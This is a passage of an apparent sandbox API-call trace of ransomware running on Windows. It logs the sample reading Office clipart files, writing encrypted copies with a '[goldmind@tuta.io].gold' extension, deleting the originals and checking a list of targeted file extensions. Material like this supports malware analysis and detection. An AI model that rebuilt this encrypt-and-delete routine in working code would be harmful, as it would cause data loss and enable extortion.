dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0049.396] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.396] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0049.396] GetLastError () returned 0x0 [0049.396] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x19ec, lpOverlapped=0x0) returned 1 [0049.397] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0049.398] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.398] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.398] SetEndOfFile (hFile=0x218) returned 1 [0049.398] CloseHandle (hObject=0x218) returned 1 [0049.398] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.398] SetEndOfFile (hFile=0x190) returned 1 [0049.399] CloseHandle (hObject=0x190) returned 1 [0049.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0049.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0049.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0049.400] lstrlenW (lpString=".doc") returned 4 [0049.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.400] lstrlenW (lpString=".docx") returned 5 [0049.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.400] lstrlenW (lpString=".pdf") returned 4 [0049.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.400] lstrlenW (lpString=".xls") returned 4 [0049.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.400] lstrlenW (lpString=".xlsx") returned 5 [0049.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.400] lstrlenW (lpString=".ppt") returned 4 [0049.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0049.400] lstrlenW (lpString=".zip") returned 4 [0049.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.400] lstrlenW (lpString=".rar") returned 4 [0049.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.400] lstrlenW (lpString=".bz2") returned 4 [0049.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.400] lstrlenW (lpString=".7z") returned 3 [0049.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0049.400] lstrlenW (lpString=".dbf") returned 4 [0049.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0049.400] lstrlenW (lpString=".1cd") returned 4 [0049.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0049.400] lstrlenW (lpString=".jpg") returned 4 [0049.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0049.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0049.400] lstrlenW (lpString=".doc") returned 4 [0049.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.400] lstrlenW (lpString=".docx") returned 5 [0049.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.400] lstrlenW (lpString=".pdf") returned 4 [0049.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.400] lstrlenW (lpString=".xls") returned 4 [0049.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.400] lstrlenW (lpString=".xlsx") returned 5 [0049.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.400] lstrlenW (lpString=".ppt") returned 4 [0049.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0049.400] lstrlenW (lpString=".zip") returned 4 [0049.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.400] lstrlenW (lpString=".rar") returned 4 [0049.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.400] lstrlenW (lpString=".bz2") returned 4 [0049.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.401] lstrlenW (lpString=".7z") returned 3 [0049.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0049.401] lstrlenW (lpString=".dbf") returned 4 [0049.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0049.401] lstrlenW (lpString=".1cd") returned 4 [0049.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0049.401] lstrlenW (lpString=".jpg") returned 4 [0049.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.401] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.401] lstrlenW (lpString="AN04195_.WMF") returned 12 [0049.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0049.401] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=4612) returned 1 [0049.401] CloseHandle (hObject=0x190) returned 1 [0049.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0049.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0049.401] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.401] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0049.402] GetLastError () returned 0x0 [0049.402] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x1204, lpOverlapped=0x0) returned 1 [0049.403] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1210, lpOverlapped=0x0) returned 1 [0049.404] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.404] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.404] SetEndOfFile (hFile=0x218) returned 1 [0049.404] CloseHandle (hObject=0x218) returned 1 [0049.404] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.404] SetEndOfFile (hFile=0x190) returned 1 [0049.405] CloseHandle (hObject=0x190) returned 1 [0049.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0049.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0049.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0049.405] lstrlenW (lpString=".doc") returned 4 [0049.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.405] lstrlenW (lpString=".docx") returned 5 [0049.405] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.405] lstrlenW (lpString=".pdf") returned 4 [0049.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.405] lstrlenW (lpString=".xls") returned 4 [0049.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.405] lstrlenW (lpString=".xlsx") returned 5 [0049.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.406] lstrlenW (lpString=".ppt") returned 4 [0049.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0049.406] lstrlenW (lpString=".zip") returned 4 [0049.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.406] lstrlenW (lpString=".rar") returned 4 [0049.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.406] lstrlenW (lpString=".bz2") returned 4 [0049.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.406] lstrlenW (lpString=".7z") returned 3 [0049.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0049.406] lstrlenW (lpString=".dbf") returned 4 [0049.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0049.406] lstrlenW (lpString=".1cd") returned 4 [0049.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0049.406] lstrlenW (lpString=".jpg") returned 4 [0049.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0049.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0049.406] lstrlenW (lpString=".doc") returned 4 [0049.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.406] lstrlenW (lpString=".docx") returned 5 [0049.406] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.406] lstrlenW (lpString=".pdf") returned 4 [0049.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.406] lstrlenW (lpString=".xls") returned 4 [0049.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.406] lstrlenW (lpString=".xlsx") returned 5 [0049.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.406] lstrlenW (lpString=".ppt") returned 4 [0049.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0049.406] lstrlenW (lpString=".zip") returned 4 [0049.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.406] lstrlenW (lpString=".rar") returned 4 [0049.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.406] lstrlenW (lpString=".bz2") returned 4 [0049.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.406] lstrlenW (lpString=".7z") returned 3 [0049.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0049.406] lstrlenW (lpString=".dbf") returned 4 [0049.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0049.406] lstrlenW (lpString=".1cd") returned 4 [0049.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0049.406] lstrlenW (lpString=".jpg") returned 4 [0049.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.407] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.407] lstrlenW (lpString="AN04196_.WMF") returned 12 [0049.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0049.407] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3144) returned 1 [0049.407] CloseHandle (hObject=0x190) returned 1 [0049.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0049.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0049.407] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.407] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0049.407] GetLastError () returned 0x0 [0049.407] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xc48, lpOverlapped=0x0) returned 1 [0049.409] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0049.409] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.409] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.409] SetEndOfFile (hFile=0x218) returned 1 [0049.410] CloseHandle (hObject=0x218) returned 1 [0049.410] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.410] SetEndOfFile (hFile=0x190) returned 1 [0049.410] CloseHandle (hObject=0x190) returned 1 [0049.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0049.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0049.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0049.411] lstrlenW (lpString=".doc") returned 4 [0049.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.411] lstrlenW (lpString=".docx") returned 5 [0049.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.411] lstrlenW (lpString=".pdf") returned 4 [0049.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.411] lstrlenW (lpString=".xls") returned 4 [0049.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.411] lstrlenW (lpString=".xlsx") returned 5 [0049.411] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.411] lstrlenW (lpString=".ppt") returned 4 [0049.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0049.411] lstrlenW (lpString=".zip") returned 4 [0049.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.411] lstrlenW (lpString=".rar") returned 4 [0049.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.411] lstrlenW (lpString=".bz2") returned 4 [0049.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.411] lstrlenW (lpString=".7z") returned 3 [0049.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0049.411] lstrlenW (lpString=".dbf") returned 4 [0049.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0049.411] lstrlenW (lpString=".1cd") returned 4 [0049.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0049.411] lstrlenW (lpString=".jpg") returned 4 [0049.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0049.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0049.411] lstrlenW (lpString=".doc") returned 4 [0049.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.411] lstrlenW (lpString=".docx") returned 5 [0049.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.411] lstrlenW (lpString=".pdf") returned 4 [0049.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.411] lstrlenW (lpString=".xls") returned 4 [0049.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.527] lstrlenW (lpString=".xlsx") returned 5 [0049.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.527] lstrlenW (lpString=".ppt") returned 4 [0049.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0049.527] lstrlenW (lpString=".zip") returned 4 [0049.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.527] lstrlenW (lpString=".rar") returned 4 [0049.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.528] lstrlenW (lpString=".bz2") returned 4 [0049.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.528] lstrlenW (lpString=".7z") returned 3 [0049.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0049.528] lstrlenW (lpString=".dbf") returned 4 [0049.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0049.528] lstrlenW (lpString=".1cd") returned 4 [0049.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0049.528] lstrlenW (lpString=".jpg") returned 4 [0049.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.528] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.528] lstrlenW (lpString="BD00141_.WMF") returned 12 [0049.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.028] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=26886) returned 1 [0051.028] CloseHandle (hObject=0x188) returned 1 [0051.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0051.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.028] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.028] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.029] GetLastError () returned 0x0 [0051.029] ReadFile 